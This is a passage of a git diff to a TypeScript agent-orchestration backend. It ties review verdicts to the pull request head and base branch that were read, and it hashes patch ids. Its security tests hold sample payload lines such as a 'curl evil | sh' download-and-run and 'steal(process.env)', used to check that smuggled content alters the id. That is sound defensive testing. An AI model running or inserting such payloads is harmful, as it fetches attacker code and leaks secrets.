+ const pullRequest = urls.findLast(url => heads?.[url]) ?? urls.at(-1)
+ const watched = pullRequest ? heads?.[pullRequest]?.head : undefined
+ const head = command.head ?? (actor.kind === 'person' ? watched : undefined)
+ // The base it read against, named as the head is (review of #3218, round 7): no inferred base is known to be the one read.
+ const base = command.base ?? (actor.kind === 'person' && pullRequest ? heads?.[pullRequest]?.base : undefined)
+ const { earlier, cleared } = recordCheckVerdict(check, { by, passed: command.passed, evidence: command.evidence, at: context.now, name,
+ ...pullRequest ? { pullRequest } : {}, ...head ? { head } : {}, ...head && base ? { base } : {} }, accountable ? departed : undefined, heads)
+ const recorded = check.verdicts!.at(-1)!, counts = recorded.stale === undefined
+ result.counts = counts
+ if (!counts) {
+ const now = recorded.stale ? `It is at ${recorded.stale.slice(0, 7)}.` : 'Its head is not read yet.'
+ const current = pullRequest ? heads?.[pullRequest] : undefined
+ result.next = head && current?.head === head && recorded.base === undefined && current.base !== undefined
+ ? `Name the base branch you read the diff against as base: this verdict counts on no base until then. The pull request merges into ${current.base}.`
+ : head && current?.head === head && recorded.base !== current.base
+ ? `This head was read against ${recorded.base}, and the pull request now merges into ${current.base}: it counts on ${recorded.base} only. If you read it against ${current.base}, send base ${current.base}.`
+ : head ? `This verdict is for ${head.slice(0, 7)}, not the pull request's head. ${now} Check its head and send it as head.`
+ : `Name the pull request head you read (its whole commit id) as head: this verdict counts at no head until then. ${now}`
+ }
const first = !earlier
// A cleared failure stays on the record, in the task's own chat (security reviews of #2916): whose it was, its evidence's
// first line, and who cleared it. A checker's name from before verdicts kept one is not known.
@@ -4266,7 +4306,9 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
if (reviewed !== false && run?.firstReview === false && run.grid) reviewFailed(group, run.model ?? 'its grid model', command.evidence)
// An older skill's working hand-off stops waiting once someone else's verdict finds problems in it: its quiet time counts
// from now (liveness.ts waitingForReview). Its status stays as its agent set it.
- if (!command.passed && !byAssignee && group.assignment.status === 'working' && waitingForReview(group.assignment)) {
+ // A failure counts only at the head it read (#3394, review of #3218): one for a head the pull request has moved past asks
+ // for no changes, and holds nobody waiting.
+ if (counts && !command.passed && !byAssignee && group.assignment.status === 'working' && waitingForReview(group.assignment)) {
group.assignment.reviewFoundAt = context.now
restartQuietTime(group.assignment, context.now)
}
@@ -4279,13 +4321,14 @@ function applyCommandOnce(original: SuperTabState, actor: Actor, input: Command,
message(task.id, `${task.assignment!.reopened!.why} ${BACK_WITH_YOU}`, [task.assignment!.agentId], null, SYSTEM_ROW)
recordTaskState(state, task, context.now)
}
- if (!command.passed && !byAssignee) reopen(group)
+ // Only a failure that counts (#3394, review of #3218 round 4): one for a head the pull request moved past reopens nothing.
+ if (counts && !command.passed && !byAssignee) reopen(group)
// Its Reviewer's verdict asking for changes: its own review task waits for the new revision (liveness.ts waitingForRevision).
- if (!command.passed && !byAssignee && actor.kind === 'agent') changesRequested(state, group, actor.agentId, context.now)
+ if (counts && !command.passed && !byAssignee && actor.kind === 'agent') changesRequested(state, group, actor.agentId, context.now)
// A step's own agent failing its step's check asks its Engineer for changes the same way: a Tester's verdict has no set
// form for a post to carry, and its step waits for the new revision instead of moving after 30 quiet minutes (Ken,
// 2026-11-04: ~18 of 51 steps moved in two days were waiting on the Engineer's fix).
- if (!command.passed && byAssignee && actor.kind === 'agent' && group.reviewOf) {
+ if (counts && !command.passed && byAssignee && actor.kind === 'agent' && group.reviewOf) {
const build = state.conversations.find(c => c.id === group.reviewOf)
if (build) changesRequested(state, build, actor.agentId, context.now)
// A handed build goes back to its Engineer (handed.ts, #3399); a build nobody holds waits for its builder to fix what the
diff --git a/backend/src/superTabs/instructions.test.ts b/backend/src/superTabs/instructions.test.ts
index 0ec260023..10fa8e9d4 100644
--- a/backend/src/superTabs/instructions.test.ts
+++ b/backend/src/superTabs/instructions.test.ts
@@ -86,7 +86,9 @@ describe('the built-in template', () => {
const reviewer = flat(INSTRUCTIONS_TEMPLATE.slice(INSTRUCTIONS_TEMPLATE.indexOf('### Reviewer'), INSTRUCTIONS_TEMPLATE.indexOf('### Tester')))
expect(reviewer).toContain('It gives its verdict once it has read the code and never waits for CI to finish: the PM checks CI before it merges (Workflow 5).')
expect(flat(TEMPLATE_WORKFLOW)).toContain('Findings and verdicts go straight to the Engineer by name')
- expect(flat(TEMPLATE_WORKFLOW)).toContain('A verdict asking for changes, a Tester\'s too, carries the line "Ready to merge: No" or "Ready to merge: With fixes"')
+ // Dee, #3394: the Swarm reads a failed check recorded at the head and base it read, not a post's words.
+ expect(flat(TEMPLATE_WORKFLOW)).toContain('A verdict asking for changes, a Tester\'s too, is a failed check recorded at the pull request head and base it read')
+ expect(flat(TEMPLATE_WORKFLOW)).not.toContain('carries the line "Ready to merge')
})
it('keeps messages to and from the PM to work, answers and people, with verdicts on the step', () => {
const flat = (text: string) => text.replace(/\s+/g, ' ')
diff --git a/backend/src/superTabs/instructionsTemplate.ts b/backend/src/superTabs/instructionsTemplate.ts
index a72c02f61..aa65b0851 100644
--- a/backend/src/superTabs/instructionsTemplate.ts
+++ b/backend/src/superTabs/instructionsTemplate.ts
@@ -80,8 +80,8 @@ export const TEMPLATE_WORKFLOW = `## Workflow
3. Findings and verdicts go straight to the Engineer by name (--to, or a reply), never through the PM. The Engineer
fixes them and asks the same Reviewer or Tester again in the same step; it adds no new step for a second round. While
the Engineer fixes them, the Reviewer or Tester stays Working on its step: blocked and needs_human are only for
- something a person must do. A verdict asking for changes, a Tester's too, carries the line "Ready to merge: No" or
- "Ready to merge: With fixes", so the step stays with its agent, not moved after 30 quiet minutes.
+ something a person must do. A verdict asking for changes, a Tester's too, is a failed check recorded at the pull
+ request head and base it read, so the step stays with its agent, not moved after 30 quiet minutes.
4. When the review, and any test, passes, the Engineer sets its task done with the pull request and the evidence: that
status is how the PM hears, once. Reviewers and Testers are heard through their step's result. No agent sends the PM
any other message besides a task that needs a person (Workflow 6) or the answer to a question the PM asked: no
diff --git a/backend/src/superTabs/liveness.ts b/backend/src/superTabs/liveness.ts
index f3f359e47..b5b59e1dc 100644
--- a/backend/src/superTabs/liveness.ts
+++ b/backend/src/superTabs/liveness.ts
@@ -168,18 +168,15 @@ function waitsOnRevisionOf(step: Conversation, build: Conversation): boolean {
return assignment?.changesRequestedAt !== undefined || (assignment?.toldEngineerAt !== undefined && !waitingForReview(build.assignment!))
}
-/** The Reviewer's verdict asking for changes, in the form the project's reviewers write (code-reviewer.md). */
-const ASKS_FOR_CHANGES = /ready to merge:\W*(no|with fixes)\b/i
-
-/** [agentId] wrote to its Engineer, in its own linked task's chat or in the build's: it may now wait for the new revision
- * (waitingForRevision), if the Engineer was waiting on this review (a Tester's verdict has no set form), or it asks for changes
- * while the Engineer already fixes someone else's. A note to a working Engineer keeps no Reviewer that then hangs. Written in
- * that post's own write. */
-export function toldEngineer(state: SuperTabState, group: Conversation, agentId: string, recipients: string[], text: string, now: number): void {
+/** [agentId] wrote to its Engineer, in its own linked task's chat or in the build's, while the Engineer was waiting on this
+ * review: it may now wait for the new revision (waitingForRevision). A note to a working Engineer keeps no Reviewer that then
+ * hangs. What the post says is not read (Dee, #3394): a verdict asking for changes is a failed check, recorded at the head it
+ * read (changesRequested). Written in that post's own write. */
+export function toldEngineer(state: SuperTabState, group: Conversation, agentId: string, recipients: string[], now: number): void {
const own = activeWork(group) && group.assignment!.agentId === agentId && reviewedBuild(state, group) ? [group] : ownLinkedTasks(state, group, agentId)
for (const step of own) {
const engineer = reviewedBuild(state, step)!.assignment!
- if (!recipients.includes(engineer.agentId) || !(waitingForReview(engineer) || ASKS_FOR_CHANGES.test(text))) continue
+ if (!recipients.includes(engineer.agentId) || !waitingForReview(engineer)) continue
step.assignment!.toldEngineerAt = now
recordTaskState(state, step, now)
}
diff --git a/backend/src/superTabs/model.ts b/backend/src/superTabs/model.ts
index 7007324c6..27090fe50 100644
--- a/backend/src/superTabs/model.ts
+++ b/backend/src/superTabs/model.ts
@@ -267,7 +267,27 @@ export interface Check {
export interface CheckVerdict { by: string; passed: boolean; evidence: string; at: number
/** The checker's name when it gave the verdict: once it leaves the Swarm, the line that clears its failure still names it
* (#2656). Absent on verdicts given before. */
- name?: string }
+ name?: string
+ /** The task's pull request it read and that pull request's head commit then (Dee, #3394): the whole commit id the checker
+ * named; for a person who named none, the one the PR watch last read. It counts only while that is the head, or the head's
+ * patch is the same (checkVerdicts.ts verdictCounts); with no head, only while no head of its pull request is watched. */
+ pullRequest?: string
+ head?: string
+ /** That head's patch id (pullRequestPatch.ts), once the watch has read it. */
+ patch?: string
+ /** The branch it read the pull request's diff against, as the checker named it (a person's, the one watched): the same head
+ * against another branch is another diff (security review of #3218, round 4), and no base the server infers is known to
+ * be the one read (review round 7). It counts only on this base. */
+ base?: string
+ /** The pull request's head it stopped counting at, while it does not count: empty while its own pull request's head is not
+ * read yet. */
+ stale?: string }
+/** A linked pull request's head commit as the PR watch last read it, with its patch id (pullRequestPatch.ts): null when the
+ * patch could not be read, so only that exact head counts (#3394). */
+export interface PullRequestHead { head: string; patch: string | null; at: number
+ /** The branch it merges into as the watch read it: a new one is read again like a new head, as the patch id names it
+ * (security review of #3218, round 3). Absent on a head recorded before. */
+ base?: string }
export interface Assignment {
id: string
agentId: string
@@ -406,6 +426,13 @@ export interface Conversation {
mergeSeen?: Record<string, number>
/** What its Engineer was already told of each linked pull request, newest first (pullRequestEvents.ts): absent until read. */
pullRequestEvents?: Record<string, string[]>
+ /** Each linked pull request's head and patch id as the PR watch last read them (#3394): what check verdicts count against.
+ * Absent until the watch reads one. */
+ pullRequestHeads?: Record<string, PullRequestHead>
+ /** Its steps and reviews (groups whose reviewOf is this one), newest last, at most 200 (production's most was 14): what a new
+ * pull request head re-derives the checks of, dormant ones included (#3394). Empty from a task's start; absent on a task
+ * from before, whose PR watch looks them up once (pullRequestEvents.ts listedSteps). */
+ stepIds?: string[]
/** Its messages drawn as live cards: its task and each linked pull request (cards.ts). Absent until its first card. */
cards?: import('./cards.js').GroupCards
/** The last sequence given to a message here. Each conversation numbers its own messages (store by parts). */
diff --git a/backend/src/superTabs/parts/light.test.ts b/backend/src/superTabs/parts/light.test.ts
index 673c0ac38..9bc5ffb1e 100644
--- a/backend/src/superTabs/parts/light.test.ts
+++ b/backend/src/superTabs/parts/light.test.ts
@@ -66,6 +66,7 @@ const conversation: Required<Conversation> = {
projectId: 'p',
proposals: [],
pullRequestEvents: {},
+ pullRequestHeads: {},
pullRequestUrls: [],
pulse: {} as never,
queueRank: 1.5,
@@ -76,6 +77,7 @@ const conversation: Required<Conversation> = {
reviewOf: 'r',
reviewStamp: { assignmentId: 'w', handoff: 1 },
step: 'Review',
+ stepIds: [],
stepUp: { attempt: 2, floor: 2, reason: 'r', at: 1, carry: '' },
task: { goal: '', changes: '', constraints: '', owns: [] },
teamWritten: true,
diff --git a/backend/src/superTabs/parts/light.ts b/backend/src/superTabs/parts/light.ts
index c42aa1191..ba1729ca2 100644
--- a/backend/src/superTabs/parts/light.ts
+++ b/backend/src/superTabs/parts/light.ts
@@ -90,6 +90,7 @@ export const GROUP_FIELDS = {
'priority',
'proposals',
'pullRequestEvents',
+ 'pullRequestHeads',
'pullRequestUrls',
'queueRank',
'reactionSeq',
@@ -98,6 +99,7 @@ export const GROUP_FIELDS = {
'requesterId',
'reviewStamp',
'step',
+ 'stepIds',
'stepUp',
'teamWritten',
'teamWrittenBy',
diff --git a/backend/src/superTabs/pullRequestEvents.test.ts b/backend/src/superTabs/pullRequestEvents.test.ts
index 416721fcb..3772a7ab7 100644
--- a/backend/src/superTabs/pullRequestEvents.test.ts
+++ b/backend/src/superTabs/pullRequestEvents.test.ts
@@ -1,5 +1,7 @@
import { describe, expect, it } from 'vitest'
import { pullRequestEvents, SEEN_KEPT, type PullRequestWatch } from './pullRequestEvents.js'
+import { appPullRequestWatch } from './pullRequestEvents.js'
+import type { GitHubApp } from '../github/app.js'
// Dee, #1891: what GitHub says about a task's pull request becomes one message per event for its Engineer.
const URL = 'https://github.com/acme/app/pull/12'
@@ -140,3 +142,35 @@ describe('pullRequestEvents', () => {
expect(keys).not.toContain('ci-red:head59')
})
})
+
+// Security review of #3218 (Warden2, round 3): the reader's patch id names the base branch its comparison was against.
+describe('the app reader\'s patch', () => {
+ it('is another id for the same files against another base branch', async () => {
+ let base = 'main'
+ const files = [{ filename: 'app.py', status: 'modified', sha: 's', patch: '@@ -1 +1 @@\n-a\n+b' }]
+ const app = { installation: async () => 1, createToken: async () => ({ token: 't' }), revoke: async () => {}, botLogin: async () => null,
+ pullRequestPatchFiles: async () => ({ base, files }) } as unknown as GitHubApp
+ const reader = appPullRequestWatch(app)
+ const head = 'a'.repeat(40)
+ const onMain = await reader.patch('https://github.com/acme/app/pull/7', head, 'main')
+ base = 'evil'
+ const onEvil = await reader.patch('https://github.com/acme/app/pull/7', head, 'evil')
+ expect(onMain).toMatch(/^[0-9a-f]{64}$/)
+ expect(onEvil).not.toBe(onMain)
+ await reader.done()
+ })
+})
+
+// Review of #3218 (Ledger, round 5), Important 1: the watch and the patch read are two answers; a retarget between them hashed
+// one base while the head was recorded at the other. The patch read names the base the watch saw, and gives no id for another.
+describe('the app reader\'s patch against the watched base', () => {
+ it('is no id when the comparison was against another base', async () => {
+ const files = [{ filename: 'app.py', status: 'modified', sha: 's', patch: '@@ -1 +1 @@\n-a\n+b' }]
+ const app = { installation: async () => 1, createToken: async () => ({ token: 't' }), revoke: async () => {}, botLogin: async () => null,
+ pullRequestPatchFiles: async () => ({ base: 'evil', files }) } as unknown as GitHubApp
+ const reader = appPullRequestWatch(app)
+ expect(await reader.patch('https://github.com/acme/app/pull/7', 'a'.repeat(40), 'main')).toBeNull()
+ expect(await reader.patch('https://github.com/acme/app/pull/7', 'a'.repeat(40), 'evil')).toMatch(/^[0-9a-f]{64}$/)
+ await reader.done()
+ })
+})
diff --git a/backend/src/superTabs/pullRequestEvents.ts b/backend/src/superTabs/pullRequestEvents.ts
index 31e63b000..ba8eabcd9 100644
--- a/backend/src/superTabs/pullRequestEvents.ts
+++ b/backend/src/superTabs/pullRequestEvents.ts
@@ -3,9 +3,12 @@
// webhook reaches the backend, so the singleton worker reads them every minute with the Harness GitHub App
// (docs/plans/2026-11-03-pr-events-to-engineer-plan.md).
import type { PrismaClient } from '@prisma/client'
-import { PULL_WATCH_PERMISSIONS, type GitHubApp } from '../github/app.js'
+import { PULL_PATCH_PERMISSIONS, PULL_WATCH_PERMISSIONS, type GitHubApp } from '../github/app.js'
import { githubRepository, type GitHubRepository } from '../github/repository.js'
import type { SuperTabStore } from './store.js'
+import type { PullRequestHead } from './model.js'
+import { patchId } from './pullRequestPatch.js'
+import { watchedLinks } from './checkVerdicts.js'
import { logger } from '../utils/logger.js'
/** What GitHub says of one pull request, as the watch reads it (github/app.ts watchPullRequest). */
@@ -107,33 +110,56 @@ export function pullRequestEvents(watch: PullRequestWatch, seen: readonly string
return { events, keys: [...marks, ...kept] }
}
-/** What a pass asks GitHub: a pull request's watch (null: it cannot say), the app's own login, and `done` once it is over. */
-export interface PullRequestReader { watch(url: string): Promise<PullRequestWatch | null>; botLogin(): Promise<string | null>; done(): Promise<void> }
+/** What a pass asks GitHub: a pull request's watch (null: it cannot say), the patch id of its files at a new head (null: it
+ * cannot say, pullRequestPatch.ts), the app's own login, and `done` once it is over. */
+export interface PullRequestReader {
+ watch(url: string): Promise<PullRequestWatch | null>
+ /** [base]: the branch the watch read it merging into; no id when GitHub's answer for the comparison names another. */
+ patch(url: string, head: string, base: string): Promise<string | null>
+ botLogin(): Promise<string | null>
+ done(): Promise<void>
+}
const PULL = /^https:\/\/github\.com\/([^/]+\/[^/]+)\/pull\/([1-9][0-9]*)$/
/** A task quiet this long is not watched: its Engineer is not waiting on its pull request. */
export const WATCH_QUIET_MS = 7 * 24 * 3_600_000
/** The most tasks a pass reads, the most recently active first (ENGINEERING.md 4: no read grows without a bound). */
export const WATCH_GROUPS = 200
+/** The most done tasks a pass also reads for their heads (#3394): done before the PM merges, their verdicts must still go
+ * stale on a push, however long the pull request stays open. Production had 31 with links, 11 quiet over a week, of 51
+ * finished, unarchived groups in all (2026-11-05). */
+export const WATCH_DONE_GROUPS = 100
+/** A head whose patch GitHub could not give is asked again after this long, not every pass. */
+export const PATCH_RETRY_MS = 15 * 60_000
/** Reads with the Harness GitHub App: one read-only token per repository for the whole pass, revoked when it is done (as the
* archive pass's, archive.ts). A repository the app is not installed on, or any GitHub failure, reads as null. */
export function appPullRequestWatch(app: GitHubApp): PullRequestReader {
+ // One token per repository and permission set: the watch's, and the patch reads' with contents read (PULL_PATCH_PERMISSIONS).
const tokens = new Map<string, Promise<string | null>>()
- const token = (repository: GitHubRepository) => {
- const key = repository.fullName.toLowerCase()
+ const token = (repository: GitHubRepository, permissions: typeof PULL_WATCH_PERMISSIONS | typeof PULL_PATCH_PERMISSIONS) => {
+ const key = `${repository.fullName.toLowerCase()} ${Object.keys(permissions).sort().join(',')}`
if (!tokens.has(key)) tokens.set(key, (async () => {
const installation = await app.installation(repository)
- return installation === null ? null : (await app.createToken(installation, repository, PULL_WATCH_PERMISSIONS)).token
+ return installation === null ? null : (await app.createToken(installation, repository, permissions)).token
})().catch(() => null))
return tokens.get(key)!
}
+ const read = async <T>(url: string, permissions: typeof PULL_WATCH_PERMISSIONS | typeof PULL_PATCH_PERMISSIONS,
+ body: (repository: GitHubRepository, number: number, granted: string) => Promise<T | null>) => {
+ const match = PULL.exec(url), repository = match ? githubRepository(`https://github.com/${match[1]}`) : null
+ const granted = repository ? await token(repository, permissions) : null
+ return granted ? body(repository!, Number(match![2]), granted) : null
+ }
return {
- async watch(url) {
- const match = PULL.exec(url), repository = match ? githubRepository(`https://github.com/${match[1]}`) : null
- const granted = repository ? await token(repository) : null
- return granted ? app.watchPullRequest(repository!, Number(match![2]), granted) : null
- },
+ watch: url => read(url, PULL_WATCH_PERMISSIONS, (repository, number, granted) => app.watchPullRequest(repository, number, granted)),
+ // The files at [head], from the comparison of the commits the pull request names: none once it names another head.
+ // Against the base the watch saw (review of #3218, round 5): a retarget between the two reads gives no id, so a patch hashed
+ // against one branch is never recorded under another; it is read again later.
+ patch: (url, head, base) => read(url, PULL_PATCH_PERMISSIONS, async (repository, number, granted) => {
+ const read = await app.pullRequestPatchFiles(repository, number, granted, head)
+ return read && read.base === base ? patchId(read.files, read.base) : null
+ }),
botLogin: () => app.botLogin(),
async done() {
for (const granted of tokens.values()) {
@@ -151,44 +177,101 @@ export function appPullRequestWatch(app: GitHubApp): PullRequestReader {
* pullRequestSeen). One group's failure is logged and skips that group alone. A pass that posted, or could not read a pull
* request, says so in one line: the measure of this feature (ENGINEERING.md 6 and 8). The messages posted.
*/
-export async function watchPullRequests(db: PrismaClient, store: Pick<SuperTabStore, 'pullRequestSeen'>, reader: PullRequestReader, now: number,
- limit = WATCH_GROUPS): Promise<number> {
+export async function watchPullRequests(db: PrismaClient, store: Pick<SuperTabStore, 'pullRequestSeen' | 'pullRequestHeadsWatched'>, reader: PullRequestReader, now: number,
+ limit = WATCH_GROUPS, doneLimit = WATCH_DONE_GROUPS): Promise<number> {
try {
// The finished mark's index, [workFinished, archived, lastActivityAt]: equality, equality, then the range, which also
// gives the sort; the rest filters what it fetches. A step's reviewOf is a string and a task has none (null matches it).
- const rows = await db.swarmGroup.aggregateRaw({ pipeline: [
- { $match: { workFinished: false, archived: false, lastActivityAt: { $gte: { $date: new Date(now - WATCH_QUIET_MS).toISOString() } },
- deleted: false, kind: null, 'data.reviewOf': null, 'data.pullRequestUrls.0': { $exists: true } } },
+ // Open tasks, then done ones, each read by that index (#3394: a done task's pull request is not merged yet, and its verdicts
+ // must go stale on a push however long it waits: no activity range, as only finished, unarchived groups match).
+ const since = { lastActivityAt: { $gte: { $date: new Date(now - WATCH_QUIET_MS).toISOString() } } }
+ const read = (workFinished: boolean, cap: number, more: Record<string, unknown> = {}) => cap <= 0 ? Promise.resolve([]) : db.swarmGroup.aggregateRaw({ pipeline: [
+ { $match: { workFinished, archived: false, ...more, deleted: false, kind: null, 'data.reviewOf': null, 'data.pullRequestUrls.0': { $exists: true } } },
{ $sort: { lastActivityAt: -1 } },
- { $limit: limit },
- { $project: { _id: 0, tabId: 1, key: 1, urls: '$data.pullRequestUrls' } },
- ] }) as unknown as Array<{ tabId: string; key: string; urls: string[] }>
+ { $limit: cap },
+ { $project: { _id: 0, tabId: 1, key: 1, urls: '$data.pullRequestUrls', heads: '$data.pullRequestHeads', steps: '$data.stepIds' } },
+ ] }) as unknown as Promise<Array<{ tabId: string; key: string; urls: string[]; heads?: Record<string, PullRequestHead> | null; steps?: string[] | null }>>
+ const rows = [...await read(false, limit, since), ...await read(true, doneLimit, { 'data.assignment.status': 'done' })]
if (!rows.length) return 0
const bot = await reader.botLogin()
// One read per pull request a pass, however many tasks link it.
const reads = new Map<string, Promise<PullRequestWatch | null>>()
const watchOf = (url: string) => { if (!reads.has(url)) reads.set(url, reader.watch(url).catch(() => null)); return reads.get(url)! }
- let posted = 0
+ // A patch id is read only for a head the task has not recorded yet, or whose patch GitHub could not give PATCH_RETRY_MS ago
+ // (#3394), once a pass whatever links it.
+ const patches = new Map<string, Promise<string | null>>()
+ const patchOf = (url: string, head: string, base: string) => {
+ const key = `${url}@${head}@${base}`
+ if (!patches.has(key)) patches.set(key, reader.patch(url, head, base).catch(() => null))
+ return patches.get(key)!
+ }
+ // A new base branch is read again like a new head (security review of #3218, round 3): the id names the branch.
+ const patchNeeded = (known: PullRequestHead | undefined, watch: PullRequestWatch) =>
+ known?.head !== watch.head || known.base !== watch.base || (known.patch === null && now - known.at >= PATCH_RETRY_MS)
+ // Each task's newest links (watchedLinks), with their pull request as GitHub has it now and a patch where one is needed.
+ const seen: Array<{ row: typeof rows[number]; watch: PullRequestWatch; patch: string | null | undefined }> = []
for (const row of rows) {
- for (const url of row.urls) {
- try {
- const watch = await watchOf(url)
- if (watch?.state === 'open') posted += await store.pullRequestSeen(row.tabId, row.key, watch, bot)
- } catch (error) {
- logger.warn('[swarm-pr-events] group skipped', { tabId: row.tabId, group: row.key, error: error instanceof Error ? error.message : String(error) })
- }
+ for (const url of watchedLinks(row.urls)) {
+ const watch = await watchOf(url)
+ if (watch?.state !== 'open') continue
+ seen.push({ row, watch, patch: patchNeeded(row.heads?.[url] ?? undefined, watch) ? await patchOf(url, watch.head, watch.base) : undefined })
+ }
+ }
+ // A task whose links moved past a head it keeps (review of #3218, round 3): that head is no longer read, so it is dropped
+ // and the task's verdicts on it stop counting, whether or not any head it reads changed.
+ const moved = rows.filter(row => {
+ const window = new Set(watchedLinks(row.urls))
+ return Object.keys(row.heads ?? {}).some(url => !window.has(url))
+ })
+ // A task from before steps were listed, at a new head or dropping one: its dormant steps are looked up once, then listed.
+ const unlisted = [...seen.filter(s => s.patch !== undefined).map(s => s.row), ...moved].filter(row => !Array.isArray(row.steps))
+ const listed = await listedSteps(db, unlisted)
+ for (const row of moved) {
+ try {
+ const lookedUp = listed.get(`${row.tabId}:${row.key}`)
+ await store.pullRequestHeadsWatched(row.tabId, row.key, row.steps ?? lookedUp ?? [], lookedUp !== undefined)
+ } catch (error) {
+ logger.warn('[swarm-pr-events] group skipped', { tabId: row.tabId, group: row.key, error: error instanceof Error ? error.message : String(error) })
+ }
+ }
+ let posted = 0
+ for (const { row, watch, patch } of seen) {
+ try {
+ const lookedUp = listed.get(`${row.tabId}:${row.key}`)
+ posted += await store.pullRequestSeen(row.tabId, row.key, watch, bot, patch, row.steps ?? lookedUp ?? [], lookedUp !== undefined)
+ } catch (error) {
+ logger.warn('[swarm-pr-events] group skipped', { tabId: row.tabId, group: row.key, error: error instanceof Error ? error.message : String(error) })
}
}
const unreadable = (await Promise.all(reads.values())).filter(watch => watch === null).length
- const line = { groups: rows.length, pulls: reads.size, unreadable, posted }
- if (unreadable) logger.warn('[swarm-pr-events] pass', line)
+ // Heads whose patch GitHub could not give: their verdicts count only at that exact head until a later read gives it.
+ const unpatched = (await Promise.all(patches.values())).filter(patch => patch === null).length
+ const line = { groups: rows.length, pulls: reads.size, unreadable, patched: patches.size, unpatched, posted }
+ if (unreadable || unpatched) logger.warn('[swarm-pr-events] pass', line)
else if (posted) logger.info('[swarm-pr-events] pass', line)
return posted
} finally { await reader.done() }
}
+/** The dormant steps of [tasks] that list none (Conversation.stepIds absent: tasks from before steps were listed), by
+ * `tabId:key`, an empty list for one with none: one read for the pass, by the awake-groups index's tabId, dormant and
+ * deleted, examining a Swarm's dormant groups once (production's largest Swarm had 3,060 groups, 2026-11-05). Each task then
+ * lists its steps (store.ts pullRequestSeen), so this runs again only for another task from before, at its first new head.
+ * Awake steps need no lookup: they load with the task. */
+export async function listedSteps(db: PrismaClient, tasks: ReadonlyArray<{ tabId: string; key: string }>): Promise<Map<string, string[]>> {
+ const listed = new Map<string, string[]>()
+ if (!tasks.length) return listed
+ for (const task of tasks) listed.set(`${task.tabId}:${task.key}`, [])
+ const rows = await db.swarmGroup.aggregateRaw({ pipeline: [
+ { $match: { tabId: { $in: [...new Set(tasks.map(t => t.tabId))] }, dormant: true, deleted: false, 'data.reviewOf': { $in: [...new Set(tasks.map(t => t.key))] } } },
+ { $project: { _id: 0, tabId: 1, key: 1, task: '$data.reviewOf' } },
+ ] }) as unknown as Array<{ tabId: string; key: string; task: string }>
+ for (const step of rows) listed.get(`${step.tabId}:${step.task}`)?.push(step.key)
+ return listed
+}
+
/** Runs the pass every minute in the singleton worker, one at a time. */
-export function startPullRequestWatch(db: PrismaClient, store: Pick<SuperTabStore, 'pullRequestSeen'>, reader: () => PullRequestReader, everyMs = 60_000): () => void {
+export function startPullRequestWatch(db: PrismaClient, store: Pick<SuperTabStore, 'pullRequestSeen' | 'pullRequestHeadsWatched'>, reader: () => PullRequestReader, everyMs = 60_000): () => void {
let running = false
const run = () => {
if (running) return
diff --git a/backend/src/superTabs/pullRequestPatch.test.ts b/backend/src/superTabs/pullRequestPatch.test.ts
new file mode 100644
index 000000000..390aa85e4
--- /dev/null
+++ b/backend/src/superTabs/pullRequestPatch.test.ts
@@ -0,0 +1,61 @@
+/**
+ * A pull request's patch id (#3394): the same for a plain rebase or a main merge that leaves the pull request's own diff
+ * unchanged, different for any changed line, as `git patch-id` is.
+ */
+import { describe, expect, it } from 'vitest'
+import { patchId, type PullRequestFile } from './pullRequestPatch.js'
+
+const file = (filename: string, patch: string | undefined, extra: Partial<PullRequestFile> = {}): PullRequestFile =>
+ ({ filename, status: 'modified', sha: `blob-${filename}`, ...patch === undefined ? {} : { patch }, ...extra })
+const parser = '@@ -10,3 +10,4 @@ export function parse()\n context\n-old\n+new\n+more'
+
+describe('a patch id', () => {
+ it('ignores where hunks start, and the order files come in', () => {
+ const moved = parser.replace('@@ -10,3 +10,4 @@ export function parse()', '@@ -42,3 +45,4 @@ export function parse()')
+ expect(patchId([file('a.ts', parser), file('b.ts', '@@ -1 +1 @@\n-x\n+y')]))
+ .toBe(patchId([file('b.ts', '@@ -1 +1 @@\n-x\n+y'), file('a.ts', moved)]))
+ })
+
+ it('changes with any changed line, file name or status', () => {
+ const base = patchId([file('a.ts', parser)])
+ expect(patchId([file('a.ts', parser.replace('+more', '+less'))])).not.toBe(base)
+ expect(patchId([file('a.ts', `${parser}\n context`)])).not.toBe(base)
+ expect(patchId([file('c.ts', parser)])).not.toBe(base)
+ expect(patchId([file('a.ts', parser, { status: 'renamed', previousFilename: 'old.ts' })])).not.toBe(base)
+ expect(patchId([file('a.ts', parser), file('b.ts', '@@ -1 +1 @@\n-x\n+y')])).not.toBe(base)
+ })
+
+ it('reads a file GitHub gives no patch for (binary, too large) by its blob', () => {
+ expect(patchId([file('logo.png', undefined)])).toBe(patchId([file('logo.png', undefined)]))
+ expect(patchId([file('logo.png', undefined)])).not.toBe(patchId([file('logo.png', undefined, { sha: 'other' })]))
+ })
+
+ it('is no id for no files', () => {
+ expect(patchId([])).toBeNull()
+ })
+
+ // Security review of #3218 (Warden2), Critical 1: a lone CR, U+2028 or U+2029 inside a line began a "line" that read as a
+ // hunk header, and the rest of the real line was dropped, so two different patches had one id.
+ it('reads lines split at a line feed only, and only a real hunk header loses its positions', () => {
+ for (const mark of ['\u2028', '\u2029', '\r']) {
+ const line = `+s = "${mark}@@ a @@ "`
+ expect(patchId([file('a.py', `@@ -1 +1 @@\n${line}`)])).not.toBe(patchId([file('a.py', `@@ -1 +1 @@\n${line}; os.system("curl evil | sh")`)]))
+ }
+ expect(patchId([file('a.ts', '@@ -1 +1 @@\n+x = `\r@@ b @@ `')])).not.toBe(patchId([file('a.ts', '@@ -1 +1 @@\n+x = `\r@@ b @@ ${steal(process.env)}`')]))
+ // A line of the file that merely starts with "@@" is content, kept whole.
+ expect(patchId([file('a.md', '@@ -1 +1 @@\n+@@ -1 +1 @@ one')])).not.toBe(patchId([file('a.md', '@@ -1 +1 @@\n+@@ -1 +1 @@ two')]))
+ })
+
+ it('keeps the function a hunk header names', () => {
+ expect(patchId([file('a.ts', parser)])).not.toBe(patchId([file('a.ts', parser.replace('export function parse()', 'export function other()'))]))
+ })
+})
+
+// Security review of #3218 (Warden2, round 3), Important 1: retargeting a pull request to a branch with other code, pushing the
+// same diff against it, and retargeting back carried a verdict to code nobody read. The branch it merges into is in the id.
+describe('a patch id and its base branch', () => {
+ it('differs for the same files against another base branch', () => {
+ expect(patchId([file('app.py', parser)], 'main')).not.toBe(patchId([file('app.py', parser)], 'evil'))
+ expect(patchId([file('app.py', parser)], 'main')).toBe(patchId([file('app.py', parser)], 'main'))
+ })
+})
diff --git a/backend/src/superTabs/pullRequestPatch.ts b/backend/src/superTabs/pullRequestPatch.ts
new file mode 100644
